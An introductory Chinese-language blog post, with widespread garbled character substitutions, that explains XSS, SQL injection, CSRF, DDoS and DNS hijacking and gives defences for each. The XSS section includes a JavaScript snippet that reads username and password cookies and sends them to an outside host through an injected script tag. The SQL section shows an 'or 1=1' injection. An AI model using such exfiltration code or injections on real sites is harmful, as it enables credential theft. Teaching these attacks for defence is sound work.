关于sql注入:一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

40次阅读

共计 2537 个字符,预计需要花费 7 分钟才能阅读完成。

🎈 XSS 攻打

  • 全称跨站脚本攻打 Cross Site Scripting
  • 为了与重叠样式表 CSS 进行辨别,所以换了另一个缩写名称 XSS
  • XSS攻击者通过篡改网页,注入歹意的 HTML 脚本,个别是 javascript,在用户浏览网页时,管制用户浏览器进行歹意操作的一种攻击方式
  • XSS 攻打常常应用在论坛,博客等利用中。攻击者能够偷取用户Cookie、明码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息
  • 就像上图,如果用户在评论框中输出的并不是失常的文本,而是一段 javascript 脚本,而后盾又没对该用户的数据进行解决,间接存入数据库,那么当其余用户过去拜访该页面,浏览器必然会执行这段脚本
  • 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本 ,获取你的 个人信息,甚至是你的账号密码等信息
  • 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保留解决,这样你的信息就曾经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取明码

// 发送申请
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
  • 在下面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行解决保留,这样你的个人信息就曾经泄露了,所以杜绝 xss 攻打 在网络安全中十分的重要
  • 所以后端永远不要置信用户提交的数据,在接管用户提交的信息时候,要进行 消毒解决
  • 也就是过滤一些非凡的字符,比方 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能无效的进行 xss 攻打的预防
  • 另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无奈读取到cookie 信息,这样也能无效的避免 XSS 攻打窃取 cookie 内容

🎈 SQL 注入

  • SQL 注入 攻打指的是攻击者在 HTTP 申请中注入歹意 SQL 命令,服务器用申请参数结构数据库 SQL 命令时,歹意 SQL 被一起结构,并在数据库中执行,以便失去数据库中的感兴趣的数据或对数据库进行读取、批改、删除、插入等敏感的操作,从而导致数据被随便篡改
  • 然而 SQL 注入 攻打,须要攻击者对数据库表有所理解才行,比方你的我的项目 开源 了,不小心公开了数据库的账号和明码;另外你的网站上线没有 敞开调试模式 ,有心者能够网站的依据谬误回显能够猜想表构造;另外还有就是 盲注,也即是很多有心者会盲猜数据表构造,然而这种难度最大
  • SQL 注入 能够通过预编译伎俩进行预防,绑定参数是最好的防 SQL 注入办法。当初风行的框架根本都实现了 SQL 预编译参数绑定,歹意攻打的 SQL 会被当做 SQL 的参数,而不是 SQL 命令被执行
# 失常获取用户信息的 sql
select * from users where id=1

# sql 注入了 1 or 1=1,就能够把用户表中的所有数据全副查出,导致数据泄露
select * from users where id=1 or 1=1

🎈 CSRF 攻打

  • CSRF 全称 Cross Site Request Forgery,跨站点申请伪造,攻击者通过跨站申请,以非法的用户身份进行非法操作,如转账交易、发表评论等。其外围是利用了浏览器 Cookie 或服务器的 Session 策略,盗取用户的身份信息
  • 在关上 A 网站 的状况下,另开 Tab 页面 关上歹意 网站 B ,此时在 B 页面 歹意用意 下,浏览器发动一个对 网站 A HTTP 申请
  • 因为之前 A 网站 曾经关上了,浏览器存有 A 网站 中的 Cookie 或其余用于身份认证的信息,这一次被 歹意用意 的申请,将会主动带上这些信息,这将会导致身份劫持,造成并非自己志愿的操作后果
  • 而对应 CSRF 攻打 的进攻策略有: 表单 token验证码Referer 检测

🎈 DDOS 攻打

  • DDOS 全称 Distributed Denial of Service,分布式拒绝服务攻打 。是拒绝服务攻打的升级版。回绝攻打服务其实就是让你的服务不能失常给用户提供服务,也就是俗话说的服务宕机。罕用于攻打对外提供服务的服务器,像常见的:Web 服务 邮件服务 DNS 服务 即时通讯服务 这些等
  • 在晚期发动 DoS 攻打 是一件很容易的事件,只须要写个程序让服务过载,得空提供失常服务即可,也就是一秒中申请服务屡次,将指标服务器的内存跑崩
  • 起初随着技术对倒退,当初的服务器都是分布式,并不是繁多服务器提供服务,一个服务背地领有着是数不清的 CDN 节点 ,也是就领有着数不清的Web 服务器。想靠单台服务器去攻打这种分布式网络,无异于对方 以卵击石,而且当初很多 DDOS 攻打 都不是收费的,所以很容易造成偷鸡不成蚀把米
  • 进攻伎俩:随着技术倒退到明天也并不能齐全杜绝这种攻打的呈现,只能通过技术去缓解。其中包含:流量荡涤SYN Cookie 等等

🎈 DNS 劫持

  • 当今互联网流量中,以 HTTP/HTTPS 为主的 Web 服务 产生的流量占据了绝大部分
  • Web 服务 倒退的热火朝天,这背地离不开一个石破天惊的大功臣就是域名解析零碎,DNS 提供将域名转换成 ip 地址 的服务,每一个域名的解析都要通过 DNS,所以能够看出它的重要性
  • 正是因为它的重要性,所以 DNS 劫持 很容易被居心叵测的人利用
  • 晚期并没有思考太多的安全性,所以导致 DNS 很容易被劫持
  • 如果攻击者篡改 DNS 解析 设置,将域名由失常 IP 指向由攻击者管制的非法 IP,就会导致咱们拜访域名关上的却不是对应的网站,而是一个混充或者居心叵测的网站。这种攻打伎俩就是 DNS 劫持
  • 通过 DNS 劫持 简略点能够导致用户散失,重大的结果甚至惠将用户诱导至攻击者控制额非法网站,可能会造成银行卡号、手机号码、账号密码等重要信息的泄露
  • 起初呈现了 DNSSEC 技术,尽管在肯定水平上解决了劫持问题,然而国内并没有太多利用的案例,因而起初阿里、腾讯推出了 httpDNS 服务也肯定水平上能够克制这种攻打伎俩
  • 另外能够 装置 SSL 证书。SSL 证书具备服务器身份认证性能,能够使 DNS 劫持导致的连贯谬误状况及时被发现和终止

正文完
 0